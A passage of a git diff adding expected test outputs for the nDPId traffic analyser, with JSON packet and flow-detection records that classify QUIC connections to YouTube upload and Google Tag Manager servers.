+02272{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":328442,"pkt_caplen":1440,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1440,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAIAGNwmCABFAAViWnxAAD0R9xCsG0XYbueGI7HaAbsFTnXjw1EwNDZQ0aOrrPYcbNEAAAABZ49NM0tlJ\/QWOEX0oAEEAENITE8ZAAAAUEFEAOsBAABTTkkA\/QEAAFNUSwAzAgAAVkVSADcCAABDQ1MARwIAAE5PTkNnAgAAQUVBRGsCAABVQUlEmAIAAFNDSUSoAgAAVENJRKwCAABQRE1EsAIAAFNNSEy0AgAASUNTTLgCAABOT05Q2AIAAFBVQlP4AgAATUlEU\/wCAABTQ0xTAAMAAEtFWFMEAwAAWExDVAwDAABDU0NUDAMAAENPUFQUAwAAQ0NSVCQDAABJUlRUKAMAAENGQ1csAwAAU0ZDVzADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXVwbG9hZC55b3V0dWJlLmNvbXgDMRgyNKjZnbeNIexiej4o7qx+V929kxA9dDLsNr49+J4e7Bxt\/tr6btXxr2ajG15fa3Ruq1EwNDYB6IFgkpIa6H7tgIaiFYKRXRXJTjAwMDAwMDAw6FYYVlvjBaujP6e+o70a5ZenNg5BRVNHY29tLmdvb2dsZS5hbmRyb2lkLnlvdXR1YmUgQ3JvbmV0Lzc2LjAuMzgwOS4w1Y68K3sgywV7JQccxBohdQAAAABYNTA5AQAAAB4AAACrpFnJA5r+YO5RcQGpd1l4yFvK+8akrX8Ivr05rqkgauMBpMQ6cwQFDJS6sLs7Du5\/2eIOY7vG9b+CMCy0OZxEZAAAAAEAAABDMjU1jtxYjsj\/DkhJRldhQUtEM47cWI7I\/w5IZ\/itxYAV4\/+8OAwAAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_q46_b.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1561708873328,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.69.216","dst_ip":"110.231.134.35","src_port":45530,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTubeUpload","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"upload.youtube.com","user_agent":"com.google.android.youtube Cronet\/76.0.3809.0"}} +00507{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":357490,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":44,"pkt":"AAAAAAAAAAIAGNwmCABFAABAAABAADgRW69u54YjrBtF2AG7sdoALCZ3w1EwNDYF0aOrrPYcbNEAAAABKUO4TMFStZdbdRt4QAEkVwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02297{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":447906,"pkt_caplen":1440,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1440,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAIAGNwmCABFAAViAABAADgRVo1u54YjrBtF2AG7sdoFTr6M01EwNDYF0aOrrPYcbNEAAAAC\/8YjGS48qVhChWSun\/F\/0tw83QKJDLWjBYJA09IzRzwLQnCpg9NyEHpzaflUNehkOBavOBhu3YQm9xnHynBS8TFlxf6b7SbJ212GvxrQorob1FGVAX8oQ4qlKdNcH9KmGH8FQqiWXAUdP4wIv8bxJlPu0eWjvrQVEV4+WIaZItIH+aOUaSN9\/ilrA9RvBf\/Eg0uWYctKOmpFEGA9LEKr3HlpKp21MHHYkSpIqfP4A7ajmPfUk0qEmleXgrgJc3ZuVwkOUh+lp\/0eDnUOVGnw0Bef\/nRJzAy9BZYUOHKfKJigrc1SrncXcXGesF5G8MJfo5lQQeKDSwoFevbeXZPRaK1FV8AI13mn1U7+k+RqYwMfqTzjcryU\/s5BA04mts+Ch050+b0vPi6EOfeOA1CLxv\/tk6KsNDiigEk01rPLNm\/hEnaVJMANIzUHvUP4jg3PU04wvG3u8GEaxXwy79Kn6368OsQ8hdAqoLyQpQyhi1ABBqvxZWZGsUTcum\/BfVuIRpmo5YvcWIiYFY\/Q6OXLR9R2vVMjhnQvgbZY+rzI0fcZRdscepkhRGzz77vGIKYhgUxMxPqTprvkoXFsDJnTqnp4n2GwWBLIb0OyfRf\/7VRBKuLzhYfdO+kGKah6INzDv1vEkf39Q6kBHznQt9lH735l+OscDivp0nZu4MdQyN7vfOJNp9+jgtg8n2ANvCzvvW+7oAPTELH+3+cxxBeh66ejadW2+\/yfNqGNsYWunD\/XCKd4D2V+lhoYnV56+qwSLgUXXWB2mY\/jm0ycFhQ\/Q6nqSn\/I2aBJISRolyEFPYh65rNrttlVuSy4cI8laG8Su6VBG5Uuo4K9zFSe74fhMvn\/3xxSa9X04Mry4juPeEmANXZBAppqqM0xlJabIn2HLD847OZiYuNRgulowJTRYa0BeXeFFYwg5asYjFOcmIPelC6rywwM4C200+37pJCuqYhl7VRwKcsiCZz5pFD6vxpCnxBkjn70ZSRCzczW97N+mAXR4TjhOAdfEQuhrY7Y+WOOlG0I5lw5fpu2\/+2zMe3NZEICyLuE+yMXBwxKksv83s\/2DTmSfmADa1Lt+OXCdJZp8e\/fI5MOWyzXREHAWA0p1Xxf0JQBAFaDVmD71NXRa\/e3YP6nmQf+KzlbGl8euL1ZMv9cv4hs6puTZquoiq4UkwuYeq+A+wUrbkmifgCFGTsiIuVdxZoBfG7mmTcuzlAoj7eSy93FWGxAPnzH+xvdqwSDn+7M9vnHHpWIC+VzveE\/CCes4f3ceohr7y5Dn4lOtoe0vJsPwQpFPf9WtVwM8s2MSRZtgUxdYy5XHczX5uN1c9SlpRqooXhpp0yi4N2DxMNkDHytOhz\/qgou3wcDLhbNb1ToJSHgg+yYI1HFM5GCUBgIcEFdWUnHIoDy\/X\/\/efj02fBjznW3x\/I9rMer6Tvkfo0yrJwxvKS3Vqlk4oY2riLgvgmR0l5D63Voz6cwqCDFk4DSzDUTn584mcKd5zBHU9ozz0R3Cik1cL2iA9pnd7oEAwphcmb3YbMTagxytlPSkDBIcz0Kd4BlZBLPTo1k6ef5SlDhP6oHZInjU+ubb+1fUF0evxg8wgtXW0cZjOTqIqNyOZPsUhY\/78wYZIpgpZZEa60kxvwRBUQ6WZuEEAWO4u8bU4NqJQII0XYAAfp5H0\/BDB\/p+vVgnc1k2DvUWm66+G5dwcauNbi4ru1irvoLehKJx5aMF+fJOZNqPIwy+\/4iFLOkcGGA36sQMRqTOLRYNzYbHYC8YZ\/SOqMCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00505{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":447906,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":39,"pkt":"AAAAAAAAAAIAGNwmCABFAAA7AABAADgRW7Ru54YjrBtF2AG7sdoAJ2svQANZ0BQdTteTPGKYB0T\/Suu7ddNWywm\/bYiMAK8NlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00524{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":542922,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":55,"pkt":"AAAAAAAAAAIAGNwmCABFAABLWn1AAD0R\/CasG0XYbueGI7HaAbsAN3hoQNGjq6z2HGzRAkZgauR6jC2QY2hinAIQJlFz8Em5XwagPo8YW85xltrq2ilzWOQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +01075{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":567592,"pkt_caplen":546,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":546,"pkt_l4_len":464,"pkt":"AAAAAAAAAAIAGNwmCABFAAHkWn5AAD0R+oysG0XYbueGI7HaAbsB0NJuQNGjq6z2HGzRA3UmZ0zMMBK2Vq8NTDgewQZ4DraGv5R2euk4x1IprVaWVedgiTjWtDDmq07QXci4\/vriou8LdUUlC6boN85GYWXaZu5uvZo7isleYMmE7m9fFAVsv5XHSW0HVp5kB\/2+Emkd3JhnBLrOGvcX8Y3ShbAjQZpEIrADIRlJs7C7xogWnyJvVGdQTROhjLvTfuBspMLdfr6M03JNxFbEu0qitNVdH8KecbrVwYQwgK5Nx4fyEsSZwuvwWPGE54nOGeMljGUij+YjctUlmqf3\/75XvObD1nWFDZZoKorDYkmAeZFJl5VElxy6j3pDcny\/fw8hviieGkyVFyEQUIu3YCPn\/fv8MVr7GRCAHJg7caL1Gkfhs55iT397Xc+ejK5LsIV9txz3X1sS3kP1RERjzAN32I84B0CzkAFnj4YzejXLyQhrda9rl23C26tZ8xMfucikzUVWfiELcgUkSl+SwJYomsvoeFfPFsF+1MY6dwzHGdE5SrvqzTnpd1LQJq51BkNkDSScmiGKVYId\/NaorUDbOYyiGxhrjXkqZT39PpoVLAPH6zUnfbmxZQw6I9JLHDxPnrARrjfWW2V\/dolNLnZaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00487{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":570709,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":28,"pkt":"AAAAAAAAAAIAGNwmCABFAAAwAABAADkRWr9u54YjrBtF2AG7sdoAHHT4QATnuTX72gvUmquNEkVb5zg7kdQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00506{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":694850,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":39,"pkt":"AAAAAAAAAAIAGNwmCABFAAA7AABAADkRWrRu54YjrBtF2AG7sdoAJ\/kaQAX60zUSbFtiMY\/e59ooA3\/LcO2qX1MenZQ4nVpTbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00513{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":747837,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":47,"pkt":"AAAAAAAAAAIAGNwmCABFAABDWn9AAD0R\/CysG0XYbueGI7HaAbsAL8rAQNGjq6z2HGzRBEFWQIvQWUIMR3liZaVQf\/OZzSZLXdBDHn9+bWZqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00491{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":776032,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":28,"pkt":"AAAAAAAAAAIAGNwmCABFAAAwAABAADkRWr9u54YjrBtF2AG7sdoAHNVXQAZYrL\/P\/Fx32mXnPvKVJ9YXsvcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00502{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708873,"pkt_ts_usec":802925,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":36,"pkt":"AAAAAAAAAAIAGNwmCABFAAA4WoBAAD0R\/DasG0XYbueGI7HaAbsAJPDaQNGjq6z2HGzRBYRpBYT1xMAPa5Hot2vsvIk40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +01081{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708874,"pkt_ts_usec":187856,"pkt_caplen":546,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":546,"pkt_l4_len":464,"pkt":"AAAAAAAAAAIAGNwmCABFAAHkWoFAAD0R+omsG0XYbueGI7HaAbsB0PQGQNGjq6z2HGzRBqTS\/x2pUhWOi8KHg\/Ig8ooUde3rtfG6TRdBe54\/AfhZTF6dQI9nRCughXcsyp1Nlwo0iLvOInSE8BYYh55\/XurWGhDSarwg6i+znFMmD\/VVhfbo52Cl84kTGK245G0VXpmtCyW\/g8\/vgdjUy+EX66M3WUnTX\/LxG9pdOIjXUw1BqGQJh\/S1DBYBFFxLozd192eXIJMFPLqREVHzIOOSGfbxuxfokSTV2\/1LmZJTAQ91+0sEiaPC7Fe+i0CgZwjjKpFHfgq2Zeq6X6EzEkZmXE8boDKfYp5QK5IdekVACwFa4KKBpDv2lHVR3TbeolHfE6WNZocELwO3xzMO4UYdx30MfyxKAbd9r7uChg1niHDE4G1zwMDgbqw6voS0qiiFS3+vzQNzbB3bgUTCWkO6gZybq40qGTPTkxoukPyG0oAziwN4Ij+XHnMJVJvWSlX+cRmIYEbLczWTcwfYh7amXiBCCy5R3iInOBB0L4lnhL6vOSqPesUFVEOedPPPbTet40xdBTAff75JwhVv\/x0YO44+WkWXS9Fb88HEwPk71DprzVjRScbzdnFgZmDEnEf57HlLePOluf5dY5yHcVk+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00489{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708874,"pkt_ts_usec":215506,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":28,"pkt":"AAAAAAAAAAIAGNwmCABFAAAwAABAADkRWr9u54YjrBtF2AG7sdoAHNKWQAciM2TV1kQiE1qM1Kw6R5Tr1LcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00902{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708874,"pkt_ts_usec":385304,"pkt_caplen":412,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":412,"pkt_l4_len":330,"pkt":"AAAAAAAAAAIAGNwmCABFAAFeAABAADkRWZFu54YjrBtF2AG7sdoBSqgFQAiaRoBhm4qKJVTpkA3mDdIBfkdOkRvPi+OiQ2f6ebmI1YwBlsY02KFPc0pkrRO0ovTlT0Lcre6Tsq1rGTZntLXdoAc5wlMtHMQO9b0N47QPiGMudRCFZvQ7xo4\/Oqb3JkD75KqXjqoA\/dl+h9qdDqMp0Uq8fkl0Ttwpc8qUhpNe2xry9oglOOPazua4Wvo3lLHIvuzNtIlrBCh\/HJSZNYATUyofFp6qNulSMmakhMBq9G\/XApD\/AN5xqFUCGBrmAvJrztu9HLfavKHt3gexWo5NtTQrLCfNJez4pKYUotcM\/44wDEwwDyQZkIi2pkOyDhlqkIYgFnhZDvk4n+fQoH\/44Z3yc7giiqCxjERspi+JlpXHZUasYidNtuB5\/yIfpccbo0mgNeTKaktZ7VbQcDEhl1jOUJRTUX2eKXFmYosmPgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00485{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic_q46_b.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561708874,"pkt_ts_usec":385304,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":24,"pkt":"AAAAAAAAAAIAGNwmCABFAAAsAABAADkRWsNu54YjrBtF2AG7sdoAGCfVQAmmRyNJwJ7Eza+L+zYDjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} diff --git a/test/results/quic_q50.pcap.out b/test/results/quic_q50.pcap.out new file mode 100644 index 000000000..06ef8bf53 --- /dev/null +++ b/test/results/quic_q50.pcap.out @@ -0,0 +1,17 @@ +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_q50.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592388088469,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"248.144.129.147","dst_ip":"184.151.193.237","src_port":39203,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02220{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_q50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388088,"pkt_ts_usec":469619,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAUAeJuECABFAAVi6fZAAD8RV+v4kIGTuJfB7ZkjAbsFTkJ3y1EwNTAI30oInk7\/XnoAAEU0Sh+G6jJaQ+WVeKqfVhwekyVcdAg3VVt4yXAoIvukSElad3ZdF7cP3aK8QwnOEdppZZL4NlS1J14QMkJkSKLH7KTs\/J1g5Qy7Td2oJivMgU4heBjsrEKX+Kl+zumCGj7r3rx\/PiGGoerDCuUYVs8\/3DPxrp05vPpL4oM6Ym20RL14LkdkclpZEotPzAVfKrp+bORIrEsOakCOFcnmRLxpaPe+skuFxQ7e+No86i++ZXUpHINRIOrrAKO6MnqhHg136TH30JRy5V1vvrx9mRvozkvzR4RrmmOWFYy9MHcYvR9ozsenVMRZ7mYRkPWmCIPXpnhEE4otBm+PYFJSnVZnoQYn2HvDgKZX+IG0tDtVasnvuIWtUyehZMOA3Auz2JN+nSjxfDEV9Q5eGeh8ZL7tXInICXQpmTBohUGs0nyUi\/EfxDhlCRPETyBYxPytgznwCOTRnGV6yUDNYNW6V2twpvbbFw15F57Y24i98N43glYYJUVqHmVwrosseQvdWLtOLEXpAKvwYCJ3nJpSVOyBYXd8okAO08VeVbydpen0iUOESN83ACwm402annjMIqbJEkKbZr1E\/bWLUE9ayryc3t4SI0rfAV3P7Bzoh+ePS0lFG2mEbR3Stl4jejVA5bbBNdQAl2XVCvlfkMcgN6wNzkaUtoY\/V5wJqcqWfzxU\/7CxIyuqjs2t5GkAirbR6GD1vSMG8A49cBdJIe0YUwOEL94vJZZ6kgFxLSzbkqIb\/JGeunCp3ImPtw51lpSKmOzgu+aiRAw0072bcZedmowvyNmMZ6ZwF9G2\/T1BzTiaxUQiuwph0MpDNq0KE8ZLx7252+rHJYkpatjHePpFvOb3XaUfP7KqMGQXysXzDurgMN+iUJmRB27gfV7BceLcaKv4JsOEla7D\/ujhuQ0U6YFyo2O4mZUs06yMlW36Jh9WkejggHA6SE58C6aM0tZVAq4PzUVmlUFs52p22qgRq5vex74TEu58hdkCQjr1pQ94XFmXqgk+AVK0nXtqdM4JYhPeaV0edHucrnphtrDalQIUwHX7zoFqP\/AzYEoeCztqDi\/kawodxc4PmEb6NM25k\/CXUeCX4uUwv5+p46bN3O1M+xvlb2rRRFG9UZ157Oh+jebOu+0rTdiK67yyDJDMe2VTvGsXi+\/G2gN2zIWwGydc\/InHPRNNQKfHhC2jggd6wv4d71pPOaI+XNe1l7JNMzHwfbkZBDlCbcSj+rryXRGPQIhCscDZiFFGrGBnyyH57ea6sGM\/d37gVVa+ukJTnovNq\/9LafSrWBaF2RrNYGE+TcplNYI0Sq5eb9DrfHpoz4HPjO4w6uwZIeHQjlw00+daMYbUpNYvzBru4JYoG4+FnfLnaJ2RX6rVgfBQIqnPe+8ho+oVfDUJnsA6e5JTlC5uDUaaRcrC0+Ji\/wYvhpr9KixWcINr\/Q6IJf8RuaNMWGUoYQRmSfJSGr9d2O1TlO6mLpi0PyY9rao+oramJEZVMS9CvaFzYMM4ekODEtI9lvm8GVMwUuwhbqucZBCNIlAueuvDA9mFax9H3Da0FnXF80HbkF0G0pCqtWSLbDFAFtV9SICp3zwHTJ2IckUyzfK6paD68rLKFhUUBI7WeX4+s0d4Jr10hLHheThooXnr5xOHtBeSEaQFC9zlGwwIuoXzDqApq3BbVKodu6HoOITstmadm3\/MIc7\/KuaqI9NjMgaFSVmEVWOH4WbQci9HsoHbnpJWe8KeP3p1LSqGOSM6yXozbpkk0hMRvAJ\/Gnzq8KxN6H6U"} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_q50.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592388088469,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"248.144.129.147","dst_ip":"184.151.193.237","src_port":39203,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"www.googletagmanager.com","user_agent":"Chrome\/83.0.4103.101 Android 8.0.0; LDN-L21"}} +00450{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_q50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388088,"pkt_ts_usec":511729,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"AAAAAAAAABAAH2tiCABFAABGAABAADgRTf64l8Ht+JCBkwG7mSMAMgZJwVEwNTAACN9KCJ5O\/156AEAYUqG2lTe2LeIe+Cm8S2sDMjR\/1C7uy5\/p"} +02224{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic_q50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388088,"pkt_ts_usec":591640,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAABAAH2tiCABFAAViAABAADgRSOK4l8Ht+JCBkwG7mSMFTuaIwlEwNTAACN9KCJ5O\/156AEU0EsFIWbfyiDTriLZoVpXe8mBihbaaK+GuQgLUM2k18a9drw\/KbHYn2D+KnhueaQuI4b5RnobWiDslIfKd8Mirh6o2aIs9a9qw7cUa8PBv7bzqEIAEQzk13O3\/Bmcqazsp\/+kXQrRut7wvxnShl1xW4sNpOBXqxvlB\/nqN8wg\/PWpL9O\/FPVIgCehFv30qEPc3PeeKKCKLfVTqnxPixlqgAYeET9TKamxZDJ72\/UQ6NmlBJ28\/YXsjTDsXud+7gYqA\/RkmlBMjxYZbTaJJhQMqHb0o8hdYWan65TAd6PfEjGBDGWn2GDNSSzDYoVEizxOqWERff9oCjTo1xFO9yhHRjaWZgSFmltr5w5\/Hr6eKjmrddpc4Z+wxKpPufinLcs1Intywm6Clf6ukiL4ZIaBU1Zh4teRYOLqycNHKR892rQ3DuuxVXnpFwyl0zeIkME4yZSYiRCwgQLAMZ5FSfPbweT6hIb84RvwHrX1jO2SDi8RMi1Aevd6oV+JrNOluFTTAKRyLOen4BBBYTSn14h5EAGO0Yjv6iLbKRjvUAlFcrcWVM6\/JgP5X8XCg0n0XzSdc4uh5LhvkR\/h7IvFVZq89RpXeIhO2gstbOOib2aW\/JqKDzWo1j1Ph5gagHkB6L9a5Hjd8OSrqenRM\/Y9mJweUVKkHNmEigtNsMArIaCyxyspF5no9KUYo2Kbty26OhRt50wzulToOyP4NcHmZfEkQflkdukX3pqNAt7MXd3wyob825\/JiVxf+3hjyosU4MNO3H0eUpL9ozj7HdUKWylpVr+NEYpL6oqxrmoewXJqd9\/7HqfpRoNonB9ea0mdvP5YegQRlI+fyAKUMnIwTWXpzfIN2RNvsJqvBECokakuvOOGofWVmnplR5MVVywVaMLE82YUsCGwIntd0a+EJxQgL7mKQ6dtgeQsn1wbHWS02ZvPuWP8OYrCE67jL2v1bL6\/2h+1XCxsQAztrS+QayoAW0KvlpCNW9ac0DTJNHWRO2pghx+tJZNveH28v6DEDiBrmIsxaWJtQIYwcHaS\/T1k9TL2LCukku0Taxl6+Feh7bikCsuVDfdGwZ2pRT01H4nEVENqSGeosdt